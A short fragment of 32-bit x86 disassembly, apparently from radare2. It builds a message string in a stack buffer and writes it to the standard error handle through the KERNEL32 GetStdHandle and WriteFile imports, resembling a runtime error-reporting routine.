lea eax, [ebp - 0xa0]
push 0x4c19c0
push eax
call fcn.004bcff0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bd000
lea eax, [ebp - 0xa0]
push 0x4c19bc
push eax
call fcn.004bd000
push dword [esi + 0x4c443c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bd000
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c1994
push eax
call fcn.004bf2c4
add esp, 0x2c
pop edi
jmp 0x4bc755
lea eax, [ebp + 8]
lea esi, [esi + 0x4c443c]
push 0
push eax
push dword [esi]
call fcn.004bd480
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret